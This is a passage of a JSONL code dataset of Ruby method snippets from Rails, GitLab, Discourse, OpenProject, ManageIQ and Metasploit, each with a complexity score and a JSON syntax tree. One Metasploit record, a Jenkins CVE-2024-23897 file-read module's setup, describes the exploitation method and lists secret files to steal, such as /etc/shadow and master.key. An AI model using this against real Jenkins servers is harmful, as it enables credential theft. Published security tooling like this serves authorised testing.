\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Date\"]},\"current\"]},\"strftime\",{\"type\":\"str\",\"children\":[\"%B %-d, %Y\"]}]}]},{\"type\":\"str\",\"children\":[\" | \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@page\"]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"align\"]},{\"type\":\"sym\",\"children\":[\"right\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"valign\"]},{\"type\":\"sym\",\"children\":[\"center\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"size\"]},{\"type\":\"int\",\"children\":[10]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"gradient_svg\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"<svg width=\\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@pdf\"]},\"bounds\"]},\"width\"]}]},{\"type\":\"str\",\"children\":[\"\\\" height=\\\"10\\\">\\n\"]},{\"type\":\"str\",\"children\":[\"  <defs>\\n\"]},{\"type\":\"str\",\"children\":[\"    <linearGradient id=\\\"grad\\\" x1=\\\"0%\\\" y1=\\\"0%\\\" x2=\\\"100%\\\" y2=\\\"0%\\\">\\n\"]},{\"type\":\"str\",\"children\":[\"      <stop offset=\\\"0%\\\" style=\\\"stop-color:#d2afed;stop-opacity:1\\\" />\\n\"]},{\"type\":\"str\",\"children\":[\"      <stop offset=\\\"25%\\\" style=\\\"stop-color:#fa8bca;stop-opacity:1\\\" />\\n\"]},{\"type\":\"str\",\"children\":[\"      <stop offset=\\\"50%\\\" style=\\\"stop-color:#ff76a4;stop-opacity:1\\\" />\\n\"]},{\"type\":\"str\",\"children\":[\"      <stop offset=\\\"100%\\\" style=\\\"stop-color:#fd6c30;stop-opacity:1\\\" />\\n\"]},{\"type\":\"str\",\"children\":[\"    </linearGradient>\\n\"]},{\"type\":\"str\",\"children\":[\"  </defs>\\n\"]},{\"type\":\"str\",\"children\":[\"  <rect width=\\\"100%\\\" height=\\\"10\\\" fill=\\\"url(#grad)\\\"/>\\n\"]},{\"type\":\"str\",\"children\":[\"</svg>\\n\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@pdf\"]},\"svg\",{\"type\":\"lvar\",\"children\":[\"gradient_svg\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"at\"]},{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[0]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@pdf\"]},\"bounds\"]},\"top\"]},\"-\",{\"type\":\"int\",\"children\":[45]}]}]}]}]}]}]}]}]}]}","id":"b014a9f5-1404-40fb-b727-141acfbe37d1"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/controllers/work_packages/progress_controller.rb","start_line":163,"raw_source":"def touched_field_map\n    params.require(:work_package)\n          .slice(\"estimated_hours_touched\",\n                 \"remaining_hours_touched\",\n                 \"done_ratio_touched\",\n                 \"status_id_touched\")\n          .transform_values { it == \"true\" }\n          .permit!\n  end","complexity_score":11.0,"ast_json":"{\"type\":\"def\",\"children\":[\"touched_field_map\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"require\",{\"type\":\"sym\",\"children\":[\"work_package\"]}]},\"slice\",{\"type\":\"str\",\"children\":[\"estimated_hours_touched\"]},{\"type\":\"str\",\"children\":[\"remaining_hours_touched\"]},{\"type\":\"str\",\"children\":[\"done_ratio_touched\"]},{\"type\":\"str\",\"children\":[\"status_id_touched\"]}]},\"transform_values\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"it\"]},\"==\",{\"type\":\"str\",\"children\":[\"true\"]}]}]},\"permit!\"]}]}","id":"dd221234-3f37-49f2-aa63-b77c58e00983"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/projects/merge_requests/drafts_controller.rb","start_line":53,"raw_source":"def destroy\n    DraftNotes::DestroyService.new(merge_request, current_user).execute(draft_note)\n\n    head :ok\n  end","complexity_score":7.2,"ast_json":"{\"type\":\"def\",\"children\":[\"destroy\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DraftNotes\"]},\"DestroyService\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"merge_request\"]},{\"type\":\"send\",\"children\":[null,\"current_user\"]}]},\"execute\",{\"type\":\"send\",\"children\":[null,\"draft_note\"]}]},{\"type\":\"send\",\"children\":[null,\"head\",{\"type\":\"sym\",\"children\":[\"ok\"]}]}]}]}","id":"f60cc65e-1148-46bd-8ec2-04c45d180735"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/custom_actions/actions/strategies/link.rb","start_line":38,"raw_source":"def validate(errors)\n    if values.first.present?\n      validate_link_value(errors, values.first)\n    end\n    super\n  end","complexity_score":8.5,"ast_json":"{\"type\":\"def\",\"children\":[\"validate\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"errors\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"values\"]},\"first\"]},\"present?\"]},{\"type\":\"send\",\"children\":[null,\"validate_link_value\",{\"type\":\"lvar\",\"children\":[\"errors\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"values\"]},\"first\"]}]},null]},{\"type\":\"zsuper\",\"children\":[]}]}]}","id":"23fec3c2-20bf-4afc-aa37-4a7e493da3e9"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/models/email_level_site_setting.rb","start_line":4,"raw_source":"def self.valid_value?(val)\n    val.to_i.to_s == val.to_s && values.any? { |v| v[:value] == val.to_i }\n  end","complexity_score":13.7,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"valid_value?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"val\"]}]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"val\"]},\"to_i\"]},\"to_s\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"val\"]},\"to_s\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"values\"]},\"any?\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"v\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"v\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"value\"]}]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"val\"]},\"to_i\"]}]}]}]}]}","id":"435ac102-3b0e-41fc-af76-804cff741e91"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/cloud_volume.rb","start_line":76,"raw_source":"def self.create_volume(ems_id, options = {})\n    raise ArgumentError, _(\"ems_id cannot be nil\") if ems_id.nil?\n\n    ext_management_system = ExtManagementSystem.find(ems_id)\n    raise ArgumentError, _(\"ext_management_system cannot be found\") if ext_management_system.nil?\n\n    klass = ext_management_system.class_by_ems(:CloudVolume)\n    klass.raw_create_volume(ext_management_system, options)\n  end","complexity_score":14.8,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"create_volume\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"ems_id\"]},{\"type\":\"optarg\",\"children\":[\"options\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ems_id\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]},{\"type\":\"send\",\"children\":[null,\"_\",{\"type\":\"str\",\"children\":[\"ems_id cannot be nil\"]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"ext_management_system\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ExtManagementSystem\"]},\"find\",{\"type\":\"lvar\",\"children\":[\"ems_id\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ext_management_system\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]},{\"type\":\"send\",\"children\":[null,\"_\",{\"type\":\"str\",\"children\":[\"ext_management_system cannot be found\"]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"klass\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ext_management_system\"]},\"class_by_ems\",{\"type\":\"sym\",\"children\":[\"CloudVolume\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"klass\"]},\"raw_create_volume\",{\"type\":\"lvar\",\"children\":[\"ext_management_system\"]},{\"type\":\"lvar\",\"children\":[\"options\"]}]}]}]}","id":"c548c6df-ce64-4955-9e0b-76e992d1481b"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/lib/gitlab/diff/file_spec.rb","start_line":15,"raw_source":"def create_file(file_name, content)\n    Files::CreateService.new(\n      project,\n      project.first_owner,\n      commit_message: 'Update',\n      start_branch: branch_name,\n      branch_name: branch_name,\n      file_path: file_name,\n      file_content: content\n    ).execute\n\n    project.commit(branch_name).diffs.diff_files.first\n  end","complexity_score":18.2,"ast_json":"{\"type\":\"def\",\"children\":[\"create_file\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"file_name\"]},{\"type\":\"arg\",\"children\":[\"content\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Files\"]},\"CreateService\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"project\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"first_owner\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"commit_message\"]},{\"type\":\"str\",\"children\":[\"Update\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"start_branch\"]},{\"type\":\"send\",\"children\":[null,\"branch_name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"branch_name\"]},{\"type\":\"send\",\"children\":[null,\"branch_name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"file_path\"]},{\"type\":\"lvar\",\"children\":[\"file_name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"file_content\"]},{\"type\":\"lvar\",\"children\":[\"content\"]}]}]}]},\"execute\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"commit\",{\"type\":\"send\",\"children\":[null,\"branch_name\"]}]},\"diffs\"]},\"diff_files\"]},\"first\"]}]}]}","id":"4066bf27-2623-4557-a940-991bd559892c"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/post/file.rb","start_line":121,"raw_source":"def mkdir(path)\n    result = nil\n    vprint_status(\"Creating directory #{path}\")\n    if session.type == 'meterpreter'\n      # behave like mkdir -p and don't throw an error if the directory exists\n      result = session.fs.dir.mkdir(path) unless directory?(path)\n    elsif session.type == 'powershell'\n      result = cmd_exec(\"New-Item \\\"#{path}\\\" -itemtype directory\")\n    elsif session.platform == 'windows'\n      result = cmd_exec(\"mkdir \\\"#{path}\\\"\")\n    else\n      result = cmd_exec(\"mkdir -p '#{path}'\")\n    end\n    vprint_status(\"#{path} created\")\n    register_dir_for_cleanup(path)\n    result\n  end","complexity_score":36.0,"ast_json":"{\"type\":\"def\",\"children\":[\"mkdir\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"path\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Creating directory \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"session\"]},\"type\"]},\"==\",{\"type\":\"str\",\"children\":[\"meterpreter\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"directory?\",{\"type\":\"lvar\",\"children\":[\"path\"]}]},null,{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"session\"]},\"fs\"]},\"dir\"]},\"mkdir\",{\"type\":\"lvar\",\"children\":[\"path\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"session\"]},\"type\"]},\"==\",{\"type\":\"str\",\"children\":[\"powershell\"]}]},{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"send\",\"children\":[null,\"cmd_exec\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"New-Item \\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]}]},{\"type\":\"str\",\"children\":[\"\\\" -itemtype directory\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"session\"]},\"platform\"]},\"==\",{\"type\":\"str\",\"children\":[\"windows\"]}]},{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"send\",\"children\":[null,\"cmd_exec\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"mkdir \\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]}]},{\"type\":\"str\",\"children\":[\"\\\"\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"send\",\"children\":[null,\"cmd_exec\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"mkdir -p '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]}]},{\"type\":\"str\",\"children\":[\"'\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]}]},{\"type\":\"str\",\"children\":[\" created\"]}]}]},{\"type\":\"send\",\"children\":[null,\"register_dir_for_cleanup\",{\"type\":\"lvar\",\"children\":[\"path\"]}]},{\"type\":\"lvar\",\"children\":[\"result\"]}]}]}","id":"d1e2e122-1c85-4c56-b8d9-7c4e33315845"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/proto/kerberos/model/enc_kdc_response.rb","start_line":149,"raw_source":"def decode_key(input)\n            Rex::Proto::Kerberos::Model::EncryptionKey.decode(input.value[0])\n          end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"decode_key\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"input\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Proto\"]},\"Kerberos\"]},\"Model\"]},\"EncryptionKey\"]},\"decode\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"input\"]},\"value\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]}]}]}","id":"04a7b4c5-7e95-486d-8a31-193a84aabfcc"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/test/template/render_test.rb","start_line":793,"raw_source":"def test_render_mutate_string_literal\n    error = assert_raise ActionView::Template::Error do\n      @view.render(inline: \"'foo' << 'bar'\", type: :ruby)\n    end\n    assert_includes(error.message, \"can't modify frozen String\")\n  end","complexity_score":6.3,"ast_json":"{\"type\":\"def\",\"children\":[\"test_render_mutate_string_literal\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"error\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActionView\"]},\"Template\"]},\"Error\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@view\"]},\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"inline\"]},{\"type\":\"str\",\"children\":[\"'foo' << 'bar'\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"sym\",\"children\":[\"ruby\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_includes\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"error\"]},\"message\"]},{\"type\":\"str\",\"children\":[\"can't modify frozen String\"]}]}]}]}","id":"f41abfdd-ebb0-4261-afab-83ee53b9f95d"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/serializers/user_export_serializer.rb","start_line":6,"raw_source":"def serializable_hash(adapter_options = nil, options = {})\n    return {} unless object.upload\n    super()\n  end","complexity_score":6.2,"ast_json":"{\"type\":\"def\",\"children\":[\"serializable_hash\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"adapter_options\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"optarg\",\"children\":[\"options\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"upload\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"super\",\"children\":[]}]}]}","id":"ddfc52e8-8601-425a-8788-3cc1a1bdc943"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/gather/jenkins_cli_ampersand_arbitrary_file_read.rb","start_line":12,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'Jenkins cli Ampersand Replacement Arbitrary File Read',\n        'Description' => %q{\n          This module utilizes the Jenkins cli protocol to run the `help` command.\n          The cli is accessible with read-only permissions by default, which are\n          all thats required.\n\n          Jenkins cli utilizes `args4j's` `parseArgument`, which calls `expandAtFiles` to\n          replace any `@<filename>` with the contents of a file. We are then able to retrieve\n          the error message to read up to the first two lines of a file.\n\n          Exploitation by hand can be done with the cli, see markdown documents for additional\n          instructions.\n\n          There are a few exploitation oddities:\n          1. The injection point for the `help` command requires 2 input arguments.\n          When the `expandAtFiles` is called, each line of the `FILE_PATH` becomes an input argument.\n          If a file only contains one line, it will throw an error: `ERROR: You must authenticate to access this Jenkins.`\n          However, we can pad out the content by supplying a first argument.\n          2. There is a strange timing requirement where the `download` (or first) request must get\n          to the server first, but the `upload` (or second) request must be very close behind it.\n          From testing against the docker image, it was found values between `.01` and `1.9` were\n          viable. Due to the round trip time of the first request and response happening before\n          request 2 would be received, it is necessary to use threading to ensure the requests\n          happen within rapid succession.\n\n          Files of value:\n          * /var/jenkins_home/secret.key\n          * /var/jenkins_home/secrets/master.key\n          * /var/jenkins_home/secrets/initialAdminPassword\n          * /etc/passwd\n          * /etc/shadow\n          * Project secrets and credentials\n          * Source code, build artifacts\n        },\n        'License' => MSF_LICENSE,\n        'Author' => [\n          'h00die', # msf module\n          'Yaniv Nizry', # discovery\n          'binganao', # poc\n          'h4x0r-dz', # poc\n          'Vozec' # poc\n        ],\n        'References' => [\n          [ 'URL', 'https://www.jenkins.io/security/advisory/2024-01-24/'],\n          [ 'URL', 'https://www.sonarsource.com/blog/excessive-expansion-uncovering-critical-security-vulnerabilities-in-jenkins/'],\n          [ 'URL', 'https://github.com/binganao/CVE-2024-23897'],\n          [ 'URL', 'https://github.com/h4x0r-dz/CVE-2024-23897'],\n          [ 'URL', 'https://github.com/Vozec/CVE-2024-23897'],\n          [ 'CVE', '2024-23897']\n        ],\n        'Targets' => [\n          [ 'Automatic Target', {}]\n        ],\n        'DisclosureDate' => '2024-01-24',\n        'DefaultTarget' => 0,\n        'Notes' => {\n          'Stability' => [ CRASH_SAFE ],\n          'Reliability' => [ ],\n          'SideEffects' => [ ]\n        },\n        'DefaultOptions' => {\n          'RPORT' => 8080,\n          'HttpClientTimeout' => 3 # very quick response, so set this low\n        }\n      )\n    )\n    register_options(\n      [\n        OptString.new('TARGETURI', [true, 'The base path for Jenkins', '/']),\n        OptString.new('FILE_PATH', [true, 'File path to read from the server', '/etc/passwd']),\n      ]\n    )\n    register_advanced_options(\n      [\n        OptFloat.new('DELAY', [true, 'Delay between first and second request', 0.5]),\n        OptString.new('ENCODING', [true, 'Encoding to use for reading the file', 'UTF-8']),\n        OptString.new('LOCALITY', [true, 'Locality to use for reading the file', 'en_US'])\n      ]\n    )\n  end","complexity_score":11.95,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"Jenkins cli Ampersand Replacement Arbitrary File Read\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This module utilizes the Jenkins cli protocol to run the `help` command.\\n\"]},{\"type\":\"str\",\"children\":[\"          The cli is accessible with read-only permissions by default, which are\\n\"]},{\"type\":\"str\",\"children\":[\"          all thats required.\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          Jenkins cli utilizes `args4j's` `parseArgument`, which calls `expandAtFiles` to\\n\"]},{\"type\":\"str\",\"children\":[\"          replace any `@<filename>` with the contents of a file. We are then able to retrieve\\n\"]},{\"type\":\"str\",\"children\":[\"          the error message to read up to the first two lines of a file.\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          Exploitation by hand can be done with the cli, see markdown documents for additional\\n\"]},{\"type\":\"str\",\"children\":[\"          instructions.\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          There are a few exploitation oddities:\\n\"]},{\"type\":\"str\",\"children\":[\"          1. The injection point for the `help` command requires 2 input arguments.\\n\"]},{\"type\":\"str\",\"children\":[\"          When the `expandAtFiles` is called, each line of the `FILE_PATH` becomes an input argument.\\n\"]},{\"type\":\"str\",\"children\":[\"          If a file only contains one line, it will throw an error: `ERROR: You must authenticate to access this Jenkins.`\\n\"]},{\"type\":\"str\",\"children\":[\"          However, we can pad out the content by supplying a first argument.\\n\"]},{\"type\":\"str\",\"children\":[\"          2. There is a strange timing requirement where the `download` (or first) request must get\\n\"]},{\"type\":\"str\",\"children\":[\"          to the server first, but the `upload` (or second) request must be very close behind it.\\n\"]},{\"type\":\"str\",\"children\":[\"          From testing against the docker image, it was found values between `.01` and `1.9` were\\n\"]},{\"type\":\"str\",\"children\":[\"          viable. Due to the round trip time of the first request and response happening before\\n\"]},{\"type\":\"str\",\"children\":[\"          request 2 would be received, it is necessary to use threading to ensure the requests\\n\"]},{\"type\":\"str\",\"children\":[\"          happen within rapid succession.\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          Files of value:\\n\"]},{\"type\":\"str\",\"children\":[\"          * /var/jenkins_home/secret.key\\n\"]},{\"type\":\"str\",\"children\":[\"          * /var/jenkins_home/secrets/master.key\\n\"]},{\"type\":\"str\",\"children\":[\"          * /var/jenkins_home/secrets/initialAdminPassword\\n\"]},{\"type\":\"str\",\"children\":[\"          * /etc/passwd\\n\"]},{\"type\":\"str\",\"children\":[\"          * /etc/shadow\\n\"]},{\"type\":\"str\",\"children\":[\"          * Project secrets and credentials\\n\"]},{\"type\":\"str\",\"children\":[\"          * Source code, build artifacts\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"h00die\"]},{\"type\":\"str\",\"children\":[\"Yaniv Nizry\"]},{\"type\":\"str\",\"children\":[\"binganao\"]},{\"type\":\"str\",\"children\":[\"h4x0r-dz\"]},{\"type\":\"str\",\"children\":[\"Vozec\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://www.jenkins.io/security/advisory/2024-01-24/\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://www.sonarsource.com/blog/excessive-expansion-uncovering-critical-security-vulnerabilities-in-jenkins/\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://github.com/binganao/CVE-2024-23897\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://github.com/h4x0r-dz/CVE-2024-23897\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://github.com/Vozec/CVE-2024-23897\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2024-23897\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Targets\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Automatic Target\"]},{\"type\":\"hash\",\"children\":[]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2024-01-24\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultTarget\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CRASH_SAFE\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"array\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"array\",\"children\":[]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultOptions\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"RPORT\"]},{\"type\":\"int\",\"children\":[8080]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"HttpClientTimeout\"]},{\"type\":\"int\",\"children\":[3]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[nu